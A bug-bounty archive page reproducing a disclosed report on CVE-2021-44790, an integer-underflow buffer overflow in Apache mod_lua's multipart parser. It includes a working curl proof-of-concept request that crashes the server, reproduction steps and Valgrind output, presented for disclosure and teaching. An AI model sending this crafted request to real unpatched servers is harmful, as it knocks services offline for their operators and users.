Skip to content
DoS Disclosed report Intermediate CVE-2021-44790

Buffer overflow in req_parsebody method in lua_request.c

A buffer overflow exists in the mod_lua multipart parser when a crafted request body causes an integer underflow in the calculation of the buffer length. An attacker could send a specially crafted request to crash the server, potentially leading to a denial of service.

chamal Follow

Originally disclosed on HackerOne

  • Fixed in 13 days
  • Paid in 13 days
  • Disclosed after 13 days

Summary by the program

A carefully crafted request body can cause a buffer overflow in the mod_lua multipart parser (r:parsebody() called from Lua scripts).

The Apache httpd team is not aware of an exploit for the vulnerability though it might be possible to craft one.

This issue affects Apache HTTP Server 2.4.51 and earlier.

Acknowledgements: Chamal

Reported to security team: 2021-12-07 Fixed by r1896039 in 2.4.x: 2021-12-16 Update 2.4.52 released: 2021-12-20 Affects: <=2.4.51

https://httpd.apache.org/security/vulnerabilities_24.html

The report

Software Versions

Ubuntu - 18.04 (32-bit) Apache 2.4.51 (32-bit)

Description

This bug is present in "req_parsebody" method of modules/lua/lua_request.c file. Below mentioned lines of code cause this bug.

C++
  ...
  size_t  vlen = 0;
  ...
  ...
  vlen = end - crlf - 8;
  buffer = (char *) apr_pcalloc(r->pool, vlen+1);
  memcpy(buffer, crlf + 4, vlen);
  ...

Above code does not check whether the result of (end - crlf) is greater than or equal to 8. So it is possible to make the result of (end - crlf - 8), negative. Sending this HTTP request causes the result to be -1. curl -v -X POST -H 'content-type: multipart/form-data; boundary=-' --data-binary $'-\r\n\r\naaa-' http://127.0.0.1/test.lua

Since "vlen" is of type "size_t", -1 will become 4294967295. This is the maximum value of size_t data type in 32 bit systems. Then vlen+1 is passed to apr_pcalloc method. So the actual size allocated is 0. Since the allocated buffer is too small there will be an overflow and crash in next memcpy statement.

Steps to Reproduce

  1. Build Apache web server with Lua module ./configure --enable-lua=shared make make install

  2. Enable Lua module with Apache web server. Add these lines to httpd.conf file.

  LoadModule lua_module modules/mod_lua.so
  <Files "*.lua">
   SetHandler lua-script
  </Files>
  1. Copy attached F1555487 file to htdocs folder.

  2. Start Apache web server in debug single worker mode. ./httpd -X -d /home/apache/install-directory/

  3. Send this HTTP request with CURL. curl -v -X POST -H 'content-type: multipart/form-data; boundary=-' --data-binary $'-\r\n\r\naaa-' http://127.0.0.1/test.lua Apache web server will crash.

Valgrind Output

Command: valgrind ./httpd -X -d /home/apache/install-directory/

Invalid write of size 1 at 0x483513B: memcpy (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so) by 0x501355B: req_parsebody (lua_request.c:415) by 0x503628E: ??? (in /usr/lib/i386-linux-gnu/liblua5.2.so.0.0.0) by 0x5041A1F: ??? (in /usr/lib/i386-linux-gnu/liblua5.2.so.0.0.0) by 0x50365E5: ??? (in /usr/lib/i386-linux-gnu/liblua5.2.so.0.0.0) by 0x5030D96: ??? (in /usr/lib/i386-linux-gnu/liblua5.2.so.0.0.0) by 0x5035C1A: ??? (in /usr/lib/i386-linux-gnu/liblua5.2.so.0.0.0) by 0x5036886: ??? (in /usr/lib/i386-linux-gnu/liblua5.2.so.0.0.0) by 0x5032556: lua_pcallk (in /usr/lib/i386-linux-gnu/liblua5.2.so.0.0.0) by 0x500D02B: lua_handler (mod_lua.c:323) by 0x15F9E4: ap_run_handler (config.c:169) by 0x16040C: ap_invoke_handler (config.c:443) Address 0x12aec000 is not stack'd, malloc'd or (recently) free'd

Process terminating with default action of signal 11 (SIGSEGV) Access not within mapped region at address 0x12AEC000 at 0x483513B: memcpy (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so) by 0x501355B: req_parsebody (lua_request.c:415) by 0x503628E: ??? (in /usr/lib/i386-linux-gnu/liblua5.2.so.0.0.0) by 0x5041A1F: ??? (in /usr/lib/i386-linux-gnu/liblua5.2.so.0.0.0) by 0x50365E5: ??? (in /usr/lib/i386-linux-gnu/liblua5.2.so.0.0.0) by 0x5030D96: ??? (in /usr/lib/i386-linux-gnu/liblua5.2.so.0.0.0) by 0x5035C1A: ??? (in /usr/lib/i386-linux-gnu/liblua5.2.so.0.0.0) by 0x5036886: ??? (in /usr/lib/i386-linux-gnu/liblua5.2.so.0.0.0) by 0x5032556: lua_pcallk (in /usr/lib/i386-linux-gnu/liblua5.2.so.0.0.0) by 0x500D02B: lua_handler (mod_lua.c:323) by 0x15F9E4: ap_run_handler (config.c:169) by 0x16040C: ap_invoke_handler (config.c:443)

Impact

May be possible to use in a denial of service attack.

The original report as published on HackerOne, by chamal. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The code does not check that the difference between two pointers is at least 8 before subtracting 8, leading to a negative value that becomes a huge unsigned integer when assigned to a size_t variable.

Impact

May be possible to use in a denial of service attack.

What the attacker needed

Apache with mod_lua enabled; A Lua script that calls r:parsebody(); Attacker can send HTTP requests

The fix

The issue was fixed in Apache HTTP Server 2.4.52.

How it was found

  1. Build Apache with the Lua module enabled.
  2. Configure Apache to handle .lua files with mod_lua.
  3. Place a Lua script in the document root.
  4. Start Apache in single-worker debug mode.
  5. Send a crafted multipart POST request to the Lua script, causing a crash.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a web server processes a file upload, it splits the request into parts. A bug in the code that calculates the size of one part can make it think the size is huge, but when it tries to copy the data, it writes past the end of a tiny buffer. This can crash the server, meaning the website becomes unavailable.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by chamal

View all

8 more disclosed reports, best first.

More from Internet Bug Bounty

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.